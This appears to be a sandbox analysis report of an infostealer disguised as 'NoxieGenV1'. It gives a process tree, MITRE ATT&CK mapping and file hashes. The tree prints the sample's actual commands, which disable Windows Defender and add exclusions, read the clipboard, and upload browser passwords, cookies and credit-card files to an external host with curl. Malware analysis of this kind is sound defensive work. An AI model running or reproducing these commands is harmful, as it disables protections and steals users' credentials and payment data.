  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2148,11855988767346407792,11528758922609712994,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6160 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4044
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,11855988767346407792,11528758922609712994,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5872 /prefetch:1
  2⤵
  PID:704
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,11855988767346407792,11528758922609712994,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5844 /prefetch:1
  2⤵
  PID:1016
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,11855988767346407792,11528758922609712994,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5428 /prefetch:1
  2⤵
  PID:3756
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,11855988767346407792,11528758922609712994,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5608 /prefetch:1
  2⤵
  PID:3404
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,11855988767346407792,11528758922609712994,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4476 /prefetch:1
  2⤵
  PID:3652
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2148,11855988767346407792,11528758922609712994,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=6480 /prefetch:8
  2⤵
  PID:492
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,11855988767346407792,11528758922609712994,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1764 /prefetch:1
  2⤵
  PID:1880
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,11855988767346407792,11528758922609712994,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6756 /prefetch:1
  2⤵
  PID:3068
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2148,11855988767346407792,11528758922609712994,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5764 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1616

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2456

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4652

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:3340

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\" -an -ai#7zMap23829:82:7zEvent29727
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:2136

C:\Users\Admin\Downloads\NoxieGenV1\NoxieV1.32.exe
"C:\Users\Admin\Downloads\NoxieGenV1\NoxieV1.32.exe"
1⤵
- Executes dropped EXE
- Adds Run key to start application
PID:4868
- C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\noxie1.EXE
  C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\noxie1.EXE
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  PID:4404
- - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\main.exe
    C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\main.exe
    3⤵
    - Executes dropped EXE
    PID:208
  - - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\main.exe
      C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\main.exe
      4⤵
      Drops startup file
      Executes dropped EXE
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2572
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ver"
        5⤵
        
        PID:912
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
        5⤵
        
        PID:3536
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-Clipboard
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3048
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell.exe Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath %USERPROFILE%\AppData" & powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath %USERPROFILE%\Local" & powershell.exe -command "Set-MpPreference -ExclusionExtension '.exe'" "
        5⤵
        
        PID:2540
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4544
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath C:\Users\Admin\AppData"
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4968
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath C:\Users\Admin\Local"
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4380
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -command "Set-MpPreference -ExclusionExtension '.exe'"
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1880
- - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\noxie.exe
    C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\noxie.exe
    3⤵
    - Executes dropped EXE
    PID:4356
  - - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\noxie.exe
      C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\noxie.exe
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4160
- C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\EPICGA~1.EXE
  C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\EPICGA~1.EXE
  2⤵
  - Executes dropped EXE
  PID:4236
- - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\EPICGA~1.EXE
    C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\EPICGA~1.EXE
    3⤵
    - Drops startup file
    - Executes dropped EXE
    - Loads dropped DLL
    PID:1720
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "ver"
      4⤵
      PID:1896
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cspasswords.txt" https://store10.gofile.io/uploadFile"
      4⤵
      PID:1500
    - - C:\Windows\system32\curl.exe
        
        curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cspasswords.txt" https://store10.gofile.io/uploadFile
        5⤵
        
        PID:2416
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cscookies.txt" https://store10.gofile.io/uploadFile"
      4⤵
      PID:3032
    - - C:\Windows\system32\curl.exe
        
        curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cscookies.txt" https://store10.gofile.io/uploadFile
        5⤵
        
        PID:2068
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cscreditcards.txt" https://store10.gofile.io/uploadFile"
      4⤵
      PID:5004
    - - C:\Windows\system32\curl.exe
        
        curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cscreditcards.txt" https://store10.gofile.io/uploadFile
        5⤵
        
        PID:1716
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\csautofills.txt" https://store10.gofile.io/uploadFile"
      4⤵
      PID:2572
    - - C:\Windows\system32\curl.exe
        
        curl -F "file=@C:\Users\Admin\AppData\Local\Temp\csautofills.txt" https://store10.gofile.io/uploadFile
        5⤵
        
        PID:324
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cshistories.txt" https://store10.gofile.io/uploadFile"
      4⤵
      PID:4796
    - - C:\Windows\system32\curl.exe
        
        curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cshistories.txt" https://store10.gofile.io/uploadFile
        5⤵
        
        PID:4624
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\csbookmarks.txt" https://store10.gofile.io/uploadFile"
      4⤵
      PID:2156
    - - C:\Windows\system32\curl.exe
        
        curl -F "file=@C:\Users\Admin\AppData\Local\Temp\csbookmarks.txt" https://store10.gofile.io/uploadFile
        5⤵
        
        PID:4992

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Drops startup file
- Checks SCSI registry key(s)
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3936

C:\Windows\system32\mspaint.exe
"C:\Windows\system32\mspaint.exe" "C:\Users\Admin\AppData\Local\Temp\5xhPfLnWHR\desktopshot.png" /ForceBootstrapPaint3D
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:1568

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s DsSvc
1⤵
- Drops file in System32 directory
PID:1828

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
PID:3228

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DeviceAssociationService
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4832
- C:\Windows\system32\dashost.exe
  dashost.exe {9ed5ea69-b44e-4ead-8fb57518d827c15d}
  2⤵
  PID:3184

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:2280
- C:\Windows\system32\mspaint.exe
  "C:\Windows\system32\mspaint.exe" "C:\Users\Admin\AppData\Local\Temp\5xhPfLnWHR\desktopshot.png"
  2⤵
  - Drops file in Windows directory
  - Suspicious use of SetWindowsHookEx
  PID:5060

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\5xhPfLnWHR\Clipboard\clipboard.txt
1⤵
- Opens file in notepad (likely ransom note)
PID:4388

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\5xhPfLnWHR\Browser\cc's.txt
1⤵
PID:1400

C:\Windows\system32\prevhost.exe
C:\Windows\system32\prevhost.exe {914FEED8-267A-4BAA-B8AA-21E233792679} -Embedding
1⤵
PID:5000

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\5xhPfLnWHR\Browser\roblox cookies.txt
1⤵
PID:4492

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\5xhPfLnWHR\Browser\history.txt
1⤵
- Opens file in notepad (likely ransom note)
PID:348

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory=Default
1⤵
- Enumerates system info in registry
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
PID:2776
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0x100,0x128,0x7ffafe7e46f8,0x7ffafe7e4708,0x7ffafe7e4718
  2⤵
  PID:4524
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2112,9175893989843305835,17575431558218322720,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2236 /prefetch:3
  2⤵
  PID:4116
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2112,9175893989843305835,17575431558218322720,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2152 /prefetch:2
  2⤵
  PID:4752
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2112,9175893989843305835,17575431558218322720,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2860 /prefetch:8
  2⤵
  PID:2640
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2112,9175893989843305835,17575431558218322720,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3344 /prefetch:1
  2⤵
  PID:2572
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2112,9175893989843305835,17575431558218322720,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3508 /prefetch:1
  2⤵
  PID:264
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2112,9175893989843305835,17575431558218322720,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3712 /prefetch:1
  2⤵
  PID:4572
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2112,9175893989843305835,17575431558218322720,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4700 /prefetch:1
  2⤵
  PID:1736
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2112,9175893989843305835,17575431558218322720,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3364 /prefetch:1
  2⤵
  PID:1416
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2112,9175893989843305835,17575431558218322720,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5280 /prefetch:1
  2⤵
  PID:2980
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2112,9175893989843305835,17575431558218322720,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4700 /prefetch:1
  2⤵
  PID:2992

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3048

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4428

C:\Users\Admin\Desktop\NoxieGenV1\NoxieV1.32.exe
"C:\Users\Admin\Desktop\NoxieGenV1\NoxieV1.32.exe"
1⤵
- Executes dropped EXE
- Adds Run key to start application
PID:1572
- C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\noxie1.EXE
  C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\noxie1.EXE
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  PID:3756
- - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\main.exe
    C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\main.exe
    3⤵
    - Executes dropped EXE
    PID:956
  - - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\main.exe
      C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\main.exe
      4⤵
      Drops startup file
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:4708
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ver"
        5⤵
        
        PID:704
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
        5⤵
        
        PID:4980
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-Clipboard
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2228
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell.exe Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath %USERPROFILE%\AppData" & powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath %USERPROFILE%\Local" & powershell.exe -command "Set-MpPreference -ExclusionExtension '.exe'" "
        5⤵
        
        PID:4088
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4564
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath C:\Users\Admin\AppData"
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3764
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath C:\Users\Admin\Local"
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4260
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -command "Set-MpPreference -ExclusionExtension '.exe'"
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1832
- - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\noxie.exe
    C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\noxie.exe
    3⤵
    - Executes dropped EXE
    PID:3076
  - - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\noxie.exe
      C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\noxie.exe
      4⤵
      Executes dropped EXE
      PID:4204
- C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\EPICGA~1.EXE
  C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\EPICGA~1.EXE
  2⤵
  - Executes dropped EXE
  PID:3032
- - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\EPICGA~1.EXE
    C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\EPICGA~1.EXE
    3⤵
    - Drops startup file
    - Executes dropped EXE
    PID:3404
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "ver"
      4⤵
      PID:1996
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cspasswords.txt" https://store10.gofile.io/uploadFile"
      4⤵
      PID:5620
    - - C:\Windows\system32\curl.exe
        
        curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cspasswords.txt" https://store10.gofile.io/uploadFile
        5⤵
        
        PID:6080
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cscookies.txt" https://store10.gofile.io/uploadFile"
      4⤵
      PID:3212
    - - C:\Windows\system32\curl.exe
        
        curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cscookies.txt" https://store10.gofile.io/uploadFile
        5⤵
        
        PID:764
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cscreditcards.txt" https://store10.gofile.io/uploadFile"
      4⤵
      PID:1796
    - - C:\Windows\system32\curl.exe
        
        curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cscreditcards.txt" https://store10.gofile.io/uploadFile
        5⤵
        
        PID:1372
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\csautofills.txt" https://store10.gofile.io/uploadFile"
      4⤵
      PID:1600
    - - C:\Windows\system32\curl.exe
        
        curl -F "file=@C:\Users\Admin\AppData\Local\Temp\csautofills.txt" https://store10.gofile.io/uploadFile
        5⤵
        
        PID:2580
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cshistories.txt" https://store10.gofile.io/uploadFile"
      4⤵
      PID:3036
    - - C:\Windows\system32\curl.exe
        
        curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cshistories.txt" https://store10.gofile.io/uploadFile
        5⤵
        
        PID:3860
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\csbookmarks.txt" https://store10.gofile.io/uploadFile"
      4⤵
      PID:396
    - - C:\Windows\system32\curl.exe
        
        curl -F "file=@C:\Users\Admin\AppData\Local\Temp\csbookmarks.txt" https://store10.gofile.io/uploadFile
        5⤵
        
        PID:1252

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\94525354-d5d9-4df5-994d-2c5ca2b5b669.tmp

Filesize
10KB

MD5
c04eeff03d50c5a2e979185f59847f94

SHA1
13189b82c4808d2d7473dbd508acdebf3d0db549

SHA256
c2bf4ab90e7cf1c340d89c42a0e85e519f0cf4cb19544fe3b8a05cd995e2e8b5

SHA512
30b1b276981e62753ece767a40bb2299d3dae3d7cb7daabbdb3390f812133dfd9d7a9df52c79f9eccc514e9867e9bb113aadf701d7db1d0b44708ee3990fc5a8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
39e5f7d169a91e3a8fe202d6c92e35ae

SHA1
d6fa61b25d54a363dd582fddb8f35a8b5b89644a

SHA256
1e6f3662cc0e6c833350ff8e726d85153ee3403ecac5b3ec8c1b50b429a92e64

SHA512
78aaadd80c0df4a1aee9a3623c53a9f6c596879a3edaefae8f6304c9b4f8954055a04a7f6a8009b8dde49abbce5dbc215586c622566934c3fc4eb635c21b84f7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
efc9c7501d0a6db520763baad1e05ce8

SHA1
60b5e190124b54ff7234bb2e36071d9c8db8545f

SHA256
7af7b56e2f0a84ae008785726f3404eb9001baa4b5531d0d618c6bdcb05a3a7a

SHA512
bda611ddba56513a30295ea5ca8bc59e552154f860d13fed97201cdb81814dd6d1bca7deca6f8f58c9ae585d91e450f4383a365f80560f4b8e59a4c8b53c327d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
1KB

MD5
1aa77530b3783b94a0e0743164d2e9a2

SHA1
054f964a33732727db134b78e1db3c136e962f25

SHA256
